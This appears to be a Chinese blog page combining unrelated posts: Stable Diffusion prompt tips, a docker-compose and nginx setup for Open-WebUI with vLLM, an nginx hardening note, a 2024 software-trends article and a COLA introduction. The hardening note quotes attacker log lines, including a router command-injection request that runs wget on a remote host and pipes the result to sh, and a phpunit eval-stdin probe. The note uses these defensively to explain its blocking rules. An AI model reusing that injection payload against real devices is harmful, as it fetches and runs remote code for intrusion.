提示如果不被模型認識，則不會起效果。
如果提示詞太多，則排在后面的提示詞會被忽略。
越靠前的詞，越會被注意。
同類型的提示詞之間會被污染。
反向提示詞寫幾個就足夠，如nsfw,low quality, lowres，寫多反而會被忽略
一層小括號里面的提示詞會加權重成1.1倍，兩層則是1.21倍。
一層中括號里面的提示詞會加權重成0.9倍，兩層則是0.81倍。
[super man|iron man]則生成的主題會融合兩種特征。
一鍵部署人工智能中的OPEN-WEBUI,OLLAMA, NGINX，也就對類似OPEN-AI的對話機器人
docker-compose.yaml
services:
# ollama:
# deploy:
# resources:
# reservations:
# devices:
# - driver: nvidia
# count: all
# capabilities:
# - gpu #使用GPU加速
# volumes:
# - ollama-volume:/root/.ollama #配置OLLAMA的配置數據文件在宿主機
# - /etc/localtime:/etc/localtime:ro
# container_name: ollama
# image: ollama/ollama
# restart: unless-stopped
# networks:
# - isolated #使用DOCKER的隔離網絡
# - internet
vllm:
container_name: vllm
image: vllm/vllm-openai:latest
# ipc: host
volumes:
- ${HUGGINGFACE_MODELS_DIR}:/models
- /etc/localtime:/etc/localtime:ro
command: >
--model /models/models--unsloth--llama-3-8b-Instruct-lawdata
--served-model-name llama-3-8b-Instruct-lawdata
--gpu-memory-utilization 0.90
--max_model_len 1072
--quantization bitsandbytes
--load_format bitsandbytes
ports:
- "8000:8000"
deploy:
resources:
reservations:
devices:
- driver: nvidia
count: all
capabilities: [gpu]
networks:
- isolated #使用DOCKER的隔離網絡
# https://github.com/open-webui/open-webui
open-webui: #全局維一的服務名
volumes:
- open-webui-volume:/app/backend/data #配置open-webui的配置數據文件在宿主機
- /etc/localtime:/etc/localtime:ro
container_name: open-webui
restart: unless-stopped
image: ghcr.io/open-webui/open-webui:main
# network_mode: host
ports:
- "3000:3000"
environment:
# - OLLAMA_BASE_URL=http://ollama:11434 #OPEN-WEBUI訪問OLLAMA的地址，其實就是服務名代替IP
- ENABLE_OLLAMA_API=False
- OPENAI_API_BASE_URL=http://vllm:8000 /v1
- /etc/localtime:/etc/localtime:ro
- LOG_LEVEL=DEBUG
depends_on:
# - ollama
- vllm
networks:
- isolated
nginx-webui:
volumes:
- ${NGINX_DATA_DIR}/html:/usr/share/nginx/html:ro
- ${NGINX_DATA_DIR}/conf/nginx.conf:/etc/nginx/nginx.conf:ro
- ${NGINX_DATA_DIR}/conf/conf.d/default.conf:/etc/nginx/conf.d/default.conf:ro
- ${NGINX_DATA_DIR}/conf/.htpasswd:/etc/nginx/.htpasswd:ro
- /etc/localtime:/etc/localtime:ro
- ${NGINX_DATA_DIR}/log/access.log:/var/log/nginx/access.log
- ${NGINX_DATA_DIR}/log/error.log:/var/log/nginx/error.log
container_name: nginx-webui
ports:
- "81:81"
image: nginx:latest
#image: quay.io/ricardbejarano/nginx
depends_on:
- open-webui
restart: unless-stopped
networks:
- isolated
- internet
volumes:
ollama-volume:
driver: local
driver_opts:
type: none
o: bind
device: ${OLLAMA_DATA_DIR}
open-webui-volume:
driver: local
driver_opts:
type: none
o: bind
device: ${OPEN_WEBUI_DATA_DIR}
networks:
isolated:
driver: bridge
internal: true
internet:
driver: bridge
nginx.conf
user nginx;
worker_processes auto;
error_log /var/log/nginx/error.log warn;
pid /var/run/nginx.pid;
events {
worker_connections 1024;
}
http {
include /etc/nginx/mime.types;
default_type application/octet-stream;
log_format main '$remote_addr - $remote_user [$time_local] "$request" '
'$status $body_bytes_sent "$http_referer" '
'"$http_user_agent" "$http_x_forwarded_for"';
access_log /var/log/nginx/access.log main;
sendfile on;
keepalive_timeout 65;
include /etc/nginx/conf.d/*.conf; # 加載 conf.d 目錄下的配置文件
}
docker/docker-nginx/data/conf/conf.d/default.conf
# server {
# listen 80;
# server_name example.com www.example.com;
# root /usr/share/nginx/html;
# index index.html index.htm;
# location / {
# try_files $uri $uri/ =404;
# }
# error_page 500 502 503 504 /50x.html;
# location = /50x.html {
# root /usr/share/nginx/html;
# }
# }
server {
listen 81;
server_name localhost;
location / {
proxy_pass http://open-webui:8080;
# proxy_pass http://localhost:8080;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
# 代理 WebSocket 請求
location /ws/ {
proxy_pass http://open-webui:8080;
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection "Upgrade";
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
access_log /var/log/nginx/access.log;
error_log /var/log/nginx/error.log;
}
00_varible.sh
#!/bin/bash
# 獲取當前腳本的路徑
# SCRIPT_PATH="$(realpath "$0")"
# echo "當前腳本的路徑是: $SCRIPT_PATH"
# 獲取當前腳本所在的目錄
# SCRIPT_DIR="$(dirname "$SCRIPT_PATH")"
# echo "當前腳本所在的目錄是: $SCRIPT_DIR"
# cd $SCRIPT_DIR
# export HTTP_PROXY=http://192.168.0.102:7890
# export HTTPS_PROXY=https://192.168.0.102:7890
export DOCKER_ROOT_DIR=/home/paul/paulwong/work/workspaces/python-ai-project/docker
export NGINX_DATA_DIR=${DOCKER_ROOT_DIR}/docker-nginx/data
export OLLAMA_DATA_DIR=${DOCKER_ROOT_DIR}/docker-ollama/data
export OPEN_WEBUI_DATA_DIR=${DOCKER_ROOT_DIR}/docker-webui/data
export HUGGINGFACE_MODELS_DIR=/home/paul/.cache/huggingface/models
01_start-nginx-ollama-webui.sh
#!/bin/bash
# 獲取當前腳本的路徑
SCRIPT_PATH="$(realpath "$0")"
echo "當前腳本的路徑是: $SCRIPT_PATH"
# 獲取當前腳本所在的目錄
SCRIPT_DIR="$(dirname "$SCRIPT_PATH")"
echo "當前腳本所在的目錄是: $SCRIPT_DIR"
cd $SCRIPT_DIR
source ./00_varible.sh
docker compose -f configs/docker-compose.yaml down
docker compose -f configs/docker-compose.yaml up
02_restart-nginx-ollama-webui.sh
#!/bin/bash
# 獲取當前腳本的路徑
SCRIPT_PATH="$(realpath "$0")"
echo "當前腳本的路徑是: $SCRIPT_PATH"
# 獲取當前腳本所在的目錄
SCRIPT_DIR="$(dirname "$SCRIPT_PATH")"
echo "當前腳本所在的目錄是: $SCRIPT_DIR"
cd $SCRIPT_DIR
source ./00_varible.sh
docker compose -f configs/docker-compose.yaml restart
03_login_ollama.sh
#!/bin/bash
# 獲取當前腳本的路徑
SCRIPT_PATH="$(realpath "$0")"
echo "當前腳本的路徑是: $SCRIPT_PATH"
# 獲取當前腳本所在的目錄
SCRIPT_DIR="$(dirname "$SCRIPT_PATH")"
echo "當前腳本所在的目錄是: $SCRIPT_DIR"
cd $SCRIPT_DIR
source ./00_varible.sh
docker compose -f configs/docker-compose.yaml exec ollama /bin/bash
# echo ${DOCKER_ROOT_DIR}
04_restart_open_webui.sh
#!/bin/bash
# 獲取當前腳本的路徑
SCRIPT_PATH="$(realpath "$0")"
echo "當前腳本的路徑是: $SCRIPT_PATH"
# 獲取當前腳本所在的目錄
SCRIPT_DIR="$(dirname "$SCRIPT_PATH")"
echo "當前腳本所在的目錄是: $SCRIPT_DIR"
cd $SCRIPT_DIR
source ./00_varible.sh
docker compose -f configs/docker-compose.yaml restart open-webui
# echo ${DOCKER_ROOT_DIR}
使用docker compose搞配置方便，配置放在配置文件中，比放在啟動命令直觀。
docker-compose.yaml
version: '3.8'
services:
nginx-web: #這里注意名稱隨便起，但要保證在docker環境中維一，否則docker compose down時，會被全局down掉
volumes:
- /opt/tool/nginx/data/html:/usr/share/nginx/html:ro #配置html文件在宿主機上
- /opt/tool/nginx/data/conf/nginx.conf:/etc/nginx/nginx.conf:ro #配置配置文件在宿主機上
- /opt/tool/nginx/data/conf/conf.d/default-web.conf:/etc/nginx/conf.d/default.conf:ro #配置配置文件在宿主機上
- /opt/tool/nginx/data/conf/.htpasswd:/etc/nginx/.htpasswd:ro #配置登錄NGINX時要用到的用戶名和密碼文件
- /etc/localtime:/etc/localtime:ro #配置NGINX上的時鐘與宿主機相同
- /opt/tool/nginx/data/log/access.log:/var/log/nginx/access.log #配置ACCESS文件在宿主機上
- /opt/tool/nginx/data/log/error.log:/var/log/nginx/error.log #配置ERROR文件在宿主機上
container_name: nginx-web #容器名稱，全局維一
ports:
- "80:80"
image: nginx:latest
#image: quay.io/ricardbejarano/nginx
restart: unless-stopped
啟動命令 start-nginx.sh
cd $(cd `dirname $0`; pwd)
docker compose -f docker-compose-web.yaml down #啟動前先把相應的鏡像干掉
docker compose -f docker-compose-web.yaml up -d #后臺啟動
login docker命令login-docker.sh
docker exec -it nginx /bin/bash
最近將一臺HTTP服務器暴露于僅見，隨即引來大量黑客的光顧，其實也就是發各種HTTP請求，以獲取一個輸入，輸出界面，在輸入界面輸入SHELL命令，在輸出界面觀看結果，也就是說不用去到電腦前，用登錄用戶名和密碼這種方法來登錄，再跑各種命令。
日志顯示有下面這些操作：
185.191.127.212 - - [19/Jun/2024:21:10:22 +0800] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60wget+http%3A%2F%2F103.149.28.141%2Ft+-O-+|+sh%60) HTTP/1.1" 444 0 "-" "Go-http-client/1.1" "-"
60.221.228.127 - - [15/Jun/2024:21:10:02 +0800] "GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 444 0 "-" "Custom-AsyncHttpClient" "-"
于是在NGINX上加上相應規則，遇到類似的直接返回444
其中/etc/nginx/conf/nginx.conf
user nginx;
worker_processes auto;
error_log /var/log/nginx/error.log notice;
pid /var/run/nginx.pid;
events {
worker_connections 1024;
}
http {
#include /etc/nginx/mime.types;
#default_type application/octet-stream;
#paul-1
server_tokens off;
map $remote_addr $loggable {
~^192\.168\.1 0; # 如果IP以192開頭，則不記錄日志
~^219\.888\.888\.888 0; # 如果IP是219.888.888.8，則不記錄日志
default 1; # 其他情況默認記錄日志
}
log_format main '$remote_addr - $remote_user [$time_local] "$request" '
'$status $body_bytes_sent "$http_referer" '
'"$http_user_agent" "$http_x_forwarded_for"';
#paul-2
access_log /var/log/nginx/access.log main if=$loggable;＃引用上面的規則
sendfile on;
#tcp_nopush on;
keepalive_timeout 65;
#gzip on;
include /etc/nginx/conf.d/*.conf;
map $http_upgrade $connection_upgrade {
default upgrade;
'' close;
}
upstream uvicorn {
server unix:/tmp/uvicorn.sock;
}
}
/etc/nginx/conf/conf.d/default.conf，這里是將請求轉發后到后端的配置
server {
listen 81;
listen [::]:80;
#paul-3
server_name paulwong88.com;
#paul-4
# 驗證 Host 頭部是否為您的域名
if ($host != 'paulwong88.com') {
return 444; # 對非授權域名的請求直接關閉連接
}
client_max_body_size 4G;
#server_name localhost;
location / {
#include /etc/nginx/mime.types;
#default_type application/octet-stream;
add_header 'Cache-control' 'no-cache';
proxy_set_header Host $http_host;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection $connection_upgrade;
proxy_redirect off;
proxy_buffering off;
proxy_pass http://open-webui:8080;
}
#paul-5
location ~ ^/cgi-bin/ {
deny all;
return 444;# 限制對 CGI 目錄的訪問
}
}
/etc/nginx/conf/conf.d/default-web.conf，這里是放置靜態頁面的配置
server {
listen 80;
listen [::]:80;
expires -1;
#paul-3
server_name paulwong88.com;
#paul-4
# 驗證 Host 頭部是否為您的域名
if ($host != 'paulwong88.com') {
return 444; # 對非授權域名的請求直接關閉連接
}
client_max_body_size 4G;
#server_name localhost;
location / {
#如果不加，nginx會亂發http頭，導致瀏覽器無法解析css,js這種文件
include /etc/nginx/mime.types; #默認在http中是有這個配置的，但又重復了一遍，告訴nginx如果碰到各種后綴，如.css，應如何添加http頭
default_type application/octet-stream; #默認在http中是有這個配置的，但又重復了一遍，加默認要加的http頭
root /usr/share/nginx/html;
index index.html index.htm;
}
#paul-5
location ~ ^/cgi-bin/ {
deny all;
return 444;# 限制對 CGI 目錄的訪問
}
#location /static {
# path for static files
#root /path/to/app/static;
#}
#網上建議這樣加，但發現沒效果
#location ~ \.css {
#root /usr/share/nginx/html;
#add_header Content-Type text/css;
#default_type text/css;
#}
#location ~ \.js {
#root /usr/share/nginx/html;
#add_header Content-Type application/x-javascript;
#}
}
這樣基本各路黑客輸入一條命令后，基本就打退堂鼓了。
步入 2024 年，在技術創新和不斷變化的市場需求的推動下，軟件開發格局繼續呈指數級發展。對于企業和開發人員來說，緊跟這些趨勢不僅有益，而且對于保持競爭力和成功至關重要。在本文中，我們探討了預計將在 2024 年產生重大影響的關鍵軟件開發趨勢。
2024年軟件工程通用原理
定義 2024 年 IT 行業的通用軟件開發方法包括人工智能和機器學習技術的進一步集成、區塊鏈的利用和多運行時微服務。AR和VR的擴展應用也將繼續塑造該行業。此外，程序員將更加重視網絡安全和可持續軟件開發。我們將在本節中詳細探討這些趨勢。
人工智能和機器學習集成
人工智能和機器學習不再是流行詞；它們已經成為流行語。它們是現代軟件開發不可或缺的組成部分，為功能和性能設定了新的標準。從預測算法到自動代碼審查，人工智能/機器學習技術正在提高各個行業的效率和能力。
2023 年最引人注目的突破之一是引入了先進的 ChatGPT 功能，其中包括代碼和文本生成功能，以及基于文本提示的人工智能驅動圖像創建的重大發展。
開發人員越來越多地使用人工智能驅動的編碼工具。這不僅加快了編碼過程，還有助于減少人為錯誤。例如，GitHub 的Copilot使用人工智能向開發人員實時建議代碼片段和整個功能。同樣， Tableau等人工智能驅動的分析工具使企業能夠比以往更有效地從數據中獲取洞察。
毫無疑問，2024 年將是這些技術進一步發展和集成的一年，特別是在自動化文本、編碼和可視化任務方面。
超越加密貨幣的區塊鏈
區塊鏈正在超越加密貨幣領域找到立足點。優先考慮增強安全性和卓越質量的移動應用程序激增，導致基于區塊鏈的應用程序的采用增加。
面向區塊鏈的軟件（BOS）系統的基本特征包括：
- 數據復制：數據在數千個系統中復制和存儲，顯著增強數據安全性。
- 要求驗證：在進行任何交易之前，BOS 系統會檢查交易要求，以確保它們符合成功驗證的標準。
- 順序交易日志記錄：BOS 將交易記錄在按時間順序排列的日志中，該日志由通過共識算法設置的互連塊組成。
- 公鑰加密：BOS中的交易過程基于公鑰加密，確保交易安全、可驗證。
然而，區塊鏈也有其局限性：可擴展性和能源消耗仍然是其更廣泛采用的障礙。
多運行時微服務
微服務架構是一種將軟件應用程序開發為一套小型、可獨立部署的模塊化服務的方法，每個服務都在自己的進程中運行，并與輕量級機制（通常是基于 HTTP 的 API）進行通信。
到2024年，微服務架構預計將繼續增長，逐步演進為多運行時微服務。這也稱為 MACH 架構，該術語由 Microservices-based、API-first、Cloud-native 和 Headless 的首字母創建。MACH架構允許不同的服務用不同的編程語言編寫，使用不同的數據存儲技術，并部署在不同的運行環境上。運行時的多樣性迎合根據每個服務的特定需求和特征，為應用程序的每個組件提供更加定制和優化的方法。
多運行時微服務架構的主要優勢是能夠利用各種技術和平臺的優勢。例如，需要高計算能力的服務可以部署在專門為此類任務設計的運行時環境上，而處理實時數據處理的另一個服務可以利用針對速度和低延遲進行優化的不同環境。這種方法不僅可以確保每項服務在其理想環境中運行，而且還可以簡化更新和維護，因為一項服務的更改不一定會影響其他服務。
此外，多運行時微服務支持更敏捷的開發流程，允許團隊同時處理不同的服務而無需依賴。
2024 年網絡安全處于前沿
網絡威脅的日益復雜性使安全性成為 2024 年軟件開發的一個重要方面。集成先進的安全協議和利用人工智能進行威脅檢測正在成為標準做法。重點正在從被動安全措施轉向主動安全措施：
- 強調 DevSecOps：公司正在將安全性集成到其 DevOps 流程中，創建一種文化，讓安全性成為所有利益相關者的共同責任。這種方法確保安全考慮成為整個軟件開發生命周期不可或缺的一部分。
- 零信任架構：傳統的基于邊界的安全模型正在被零信任框架所取代，零信任框架的運行原則是“從不信任，始終驗證”。這意味著驗證每個用戶和設備，無論它們是在組織網絡內部還是外部。
- 加密的使用增加：隨著數據泄露事件的增加，使用強大的加密方法來保護傳輸中和靜態數據的趨勢日益明顯。先進的加密技術（例如同態加密）正在獲得關注，允許在加密的情況下處理數據。
- 關注安全代碼實踐：越來越重視對開發人員進行安全編碼實踐培訓。這包括定期代碼審查、漏洞測試以及使用靜態和動態分析工具來識別和減少開發階段的安全缺陷。
- 網絡安全網格的興起：這個概念指的是一種靈活的、模塊化的安全方法，其中每個設備都有自己的安全性，例如防火墻和網絡防護措施。它有助于創建響應能力更強、適應性更強的安全基礎設施，能夠處理現代網絡威脅的動態特性，使整個網絡更加安全。
AR和VR的進一步采用
隨著 AR 和 VR 技術變得越來越容易獲得，多個行業對此類應用程序的需求正在猛增：
- 教育：VR 改變了教育，支持交互式歷史、地理和科學課程，并通過虛擬手術模擬提供無風險的醫療培訓。例如，通過 Google Expeditions 和其他教育 AR 應用程序，學生可以探索歷史遺址、解剖虛擬動物或檢查復雜主題的 3D 模型。
- 醫療保健：例如 AR 應用程序 AccuVein 可以幫助定位靜脈，以便更輕松地插入針頭，而手術規劃工具則可以將 3D 模型疊加到患者的解剖結構上，以提供精確的手術指導。
- 商業：VR 在商業中越來越多地用于原型設計、員工培訓和客戶服務。在房地產行業，公司利用 VR/AR 提供虛擬財產游覽和 AR 應用程序，以便在購買前直觀地看到家具或裝修在空間中的外觀。
我們期待 2024 年出現的令人興奮的發展包括：
- 超逼真的虛擬現實：VR 現在可以模擬現實世界的感覺，例如下雨的感覺或夏季草地的氣味，模糊了虛擬與現實之間的界限。而且這種趨勢將會繼續增長。
- 社交 VR 平臺的擴展：社交 VR 平臺允許實時交互、舉辦虛擬派對、參加音樂會和參與多人游戲。
- 人工智能在 VR 中的集成：人工智能通過適應用戶行為、創建響應個人偏好和行為的動態環境來個性化體驗。
可持續軟件開發
隨著環境問題的日益嚴重，綠色計算和可持續軟件實踐越來越受到關注。開發人員越來越關注環保解決方案，支持綠色軟件基金會和可持續網絡宣言等促進節能編碼實踐的舉措。這需要開發減少服務器處理、加載時間和數據請求的代碼。
可持續軟件開發的關鍵方面包括：
- 軟件優化：簡化代碼以減少能源使用并提高性能。
- 部署：僅根據需要使用資源，例如惰性函數和基于云的應用程序，以最大限度地減少能源浪費。
- 集成：減少系統之間的數據處理，以避免不必要的數據使用。
- 存儲的數據：限制存儲的數據量及其在系統中保留的時間長度。
- 數據大小：盡可能使用較小尺寸的介質，以減少存儲和處理需求。
- 重構：定期更新軟件以刪除過時或未使用的功能。
- 避免第三方組件：減少對消耗更多資源的大型外部組件的依賴。
- 軟件架構：使用提高效率和降低能耗的架構。
- 數據中心選擇：選擇致力于綠色實踐的托管服務。
計算
來年，我們預計關鍵計算領域將取得進展：功能即服務、云和邊緣計算，尤其是量子計算。
無服務器計算 (FaaS)
無服務器計算或函數即服務 (FaaS) 正在興起，其中 AWS Lambda、Azure Functions 和 Google Cloud Functions 處于領先地位。FaaS 允許開發人員構建和運行應用程序和服務，而無需管理基礎設施，從而實現更高效、更具成本效益的開發流程。
- 一個值得注意的例子是Netflix在其流媒體平臺中利用 AWS Lambda 實現各種目的。Netflix 利用 Lambda 來執行視頻編碼、處理用戶身份驗證和管理后端流程等任務。當用戶上傳視頻時，Lambda 函數會被觸發，將內容編碼并處理為適合在不同設備上進行流式傳輸的各種格式。這使得 Netflix 能夠根據需求動態擴展資源，而無需配置或管理服務器，從而確保為用戶提供無縫的流媒體體驗，同時優化成本。
- Spotify 利用 Google Cloud Functions處理其音樂流媒體平臺內的各種后端任務。觸發功能來管理用戶身份驗證、處理用戶生成的內容并為其音樂推薦算法執行后端任務，從而確保為用戶提供無縫且個性化的體驗。
- IBM 的子公司 The Weather Company 使用IBM Cloud Functions來處理和分析大量天氣數據。無服務器功能使他們能夠執行實時數據處理、生成預報并根據用戶的位置向用戶提供個性化的天氣警報，而無需管理底層基礎設施。
這些FaaS解決方案以事件驅動架構為特點，根據請求自動觸發執行，并根據需要調整資源使用。其可擴展性和響應能力簡化了開發過程，特別適合高流量應用程序。無服務器計算越來越多地與物聯網、聊天機器人和虛擬助手集成。
云計算的擴展
到 2024 年，云原生技術將發生重大演變。它們預計將變得更加用戶友好，在其 IT 目標中提供增強的性能、節省成本和更大的靈活性。Amazon Web Services (AWS)、Microsoft Azure 和 Google Cloud Platform 擴展了其服務，提供更高級的分析、機器學習功能和更好的安全功能。
這促使公司遷移到云以實現更好的數據管理、增強協作并提高安全性。
邊緣計算的浪潮
邊緣計算是一種在網絡邊緣盡可能靠近數據源處理客戶端數據的 IT 架構。通過使計算更接近數據源，邊緣計算減少了延遲并增強了實時數據處理能力。
這種趨勢對于需要即時數據分析的應用至關重要，例如自動駕駛汽車（例如，特斯拉的自動駕駛汽車依賴于邊緣計算）和智能城市技術。在醫療保健領域，邊緣計算可確保數據隱私，并實現基于人工智能的患者病情實時監控和分析。該技術還可以通過優化公交時刻表、調節交通車道以及潛在地引導自動駕駛車輛流量來改變城市交通管理，展示其在不同領域的多功能性和影響。邊緣計算對于智能電網的采用至關重要，可以幫助企業有效管理能源消耗。
量子計算：新領域
量子計算是一種先進的計算形式，它使用量子比特而不是經典比特。利用疊加和糾纏等量子力學原理，它可以以傳統計算機無法達到的速度處理數據。該技術對于密碼學、優化和分子模擬等復雜任務特別有效，可提供指數級更快的解決方案。
雖然量子計算的廣泛采用還有很長的路要走，但對軟件開發的連鎖反應已經開始顯現。其中的領導者包括 IBM、微軟、谷歌、D-Wave 和亞馬遜等重量級公司。IBM 憑借其量子系統一號和二號成為領先者，具有高達 127 個量子位的強大處理器。微軟專注于拓撲量子位，將其集成到其 Azure 云平臺中以實現更廣泛的可訪問性。谷歌的量子人工智能實驗室旨在開發實用的通用量子計算機，而 D-Wave 專門研究量子退火，解決復雜的優化挑戰。亞馬遜通過其 AWS 量子網絡中心和 Amazon Braket 正在為量子計算創建廣泛的基礎設施。
編程語言
到 2024 年，編程將繼續以 Python 為主，Rust 的采用率顯著增加。
Python 占據主導地位
Python 仍然是一種占主導地位的編程語言，因其簡單性、多功能性和強大的庫支持而受到青睞。它廣泛應用于網絡開發、數據分析、人工智能和科學計算。
根據 PYPL 指數，Python 被列為最受歡迎的編程語言，增長率最高 (19%)，該指數衡量語言教程在 Google 上的搜索頻率。
2023 年 Stack Overflow 調查將 Python 確定為開發人員最想要學習的語言。自 2012 年以來，Python 首次超越 Java，不再只是排名前兩位的 Web 應用程序開發語言之一。它還在五年內三次榮獲TIOBE年度編程語言，這是對年度評分增幅最大的語言的認可。Python 廣泛的庫范圍可以輕松集成到代碼中并擴展到更大的應用程序，為 Web 和桌面應用程序開發（包括系統操作）提供了巨大的可能性。
Rust 采用率的增長
Rust 編程語言的采用正在增加，特別是在性能和安全性是關鍵優先事項的領域。其獨特的功能使其成為系統級編程的理想選擇。值得注意的是，Rust 越來越多地用于嵌入式系統，其防止內存錯誤和確保線程安全的能力至關重要。此外，其在云基礎設施中的部署凸顯了其處理高性能計算任務的可靠性和效率。
應用開發
在應用程序領域，重要趨勢包括低代碼和無代碼平臺的廣泛采用、跨平臺開發的進步以及漸進式 Web 應用程序的使用增加。
低代碼和無代碼平臺的興起
低代碼和無代碼平臺的興起正在推動軟件開發的民主化。這些工具使個人能夠以最少的編碼知識構建和部署應用程序，從而顯著縮短開發時間。
Microsoft Power Apps和Bubble等平臺使非技術用戶無需編寫代碼即可構建應用程序。這些工具在開發業務應用程序時特別受歡迎，允許公司在沒有大型開發團隊的情況下快速構建原型并部署解決方案。然而，此類平臺無法解決復雜的定制開發任務。
漸進式 Web 應用程序 (PWA) 的增加
PWA（漸進式 Web 應用程序）比本機應用程序下載速度更快且資源占用更少。它們離線工作并在每次訪問時自動刷新。從開發角度來看，它們具有成本效益和高效性，針對不同設備所需的版本較少，導致成本比原生應用低 3 至 4 倍。福布斯、星巴克和Pinterest等大公司都采用了這項技術。
PWA（漸進式 Web 應用程序）在開發人員中日益流行的一個關鍵因素是其平臺獨立性。這樣就無需為移動設備、平板電腦和桌面創建單獨的應用程序。開發的簡單性并不是 PWA 節省成本的唯一好處。它們的創建速度也更快，維護成本也更低。
跨平臺應用程序開發
自從移動應用程序出現以來，開發人員面臨著是為 Android 和 iOS 創建兩個本機應用程序還是創建單個跨瀏覽器應用程序的選擇。原生應用程序由于其卓越的性能，在市場上占據主導地位。
2023 年的重大發展將在 2024 年繼續獲得動力，這是新工具的引入，這些工具能夠交付用戶友好的跨平臺解決方案，同時降低開發成本。
跨平臺應用程序具有多種優勢：
- 更廣泛的覆蓋范圍：可在多種操作系統（iOS、Android）上使用，增加潛在的用戶群。
- 更快的開發時間：單個開發項目而不是多個本機應用程序可以加快流程。
- 一致的用戶體驗：跨平臺應用程序在不同平臺上具有統一的外觀和感覺，增強用戶熟悉度。
- 共享代碼庫：代碼可重用性和開發效率。
- 更輕松的部署：更新在所有平臺上同時推出。
- 資源效率：需要更少的資源和更小的開發團隊。
- 成本效益：由于單個代碼庫用于多個平臺，因此降低了開發和維護成本。
- 流行的跨平臺框架包括：React Native、Flutter、Ionic 等。
結論
本文討論的趨勢將定義 2024 年及以后的軟件開發領域。當我們應對這些變化時，負責任和道德的創新必須仍然是所有軟件開發工作的基石。
我們收集最新趨勢和最新發現，通過我們的博客分享。訂閱我們的時事通訊并在社交媒體上關注我們，隨時了解我們的帖子，以便在 2024 年保持在 IT 創新的最前沿。
本文開始前，問大家一個問題，你覺得一份業務代碼，尤其是互聯網業務代碼，都有哪些特點？
我能想到的有這幾點：
- 互聯網業務迭代快，工期緊，導致代碼結構混亂，幾乎沒有代碼注釋和文檔。
- 互聯網人員變動頻繁，很容易接手別人的老項目，新人根本沒時間吃透代碼結構，緊迫的工期又只能讓屎山越堆越大。
- 多人一起開發，每個人的編碼習慣不同，工具類代碼各用個的，業務命名也經常沖突，影響效率。
每當我們新啟動一個代碼倉庫，都是信心滿滿，結構整潔。但是時間越往后，代碼就變得腐敗不堪，技術債務越來越龐大。
這種情況有解決方案嗎？也是有的：
- 組內設計完善的應用架構，讓代碼的腐爛來得慢一些。（當然很難做到完全不腐爛）
- 設計盡量簡單，讓不同層級的開發都能快速看懂并上手開發，而不是在一堆復雜的沒人看懂的代碼上堆更多的屎山。
而COLA，我們今天的主角，就是為了提供一個可落地的業務代碼結構規范，讓你的代碼腐爛的盡可能慢一些，讓團隊的開發效率盡可能快一些。
https://github.com/alibaba/COLA
https://blog.csdn.net/significantfrank/article/details/110934799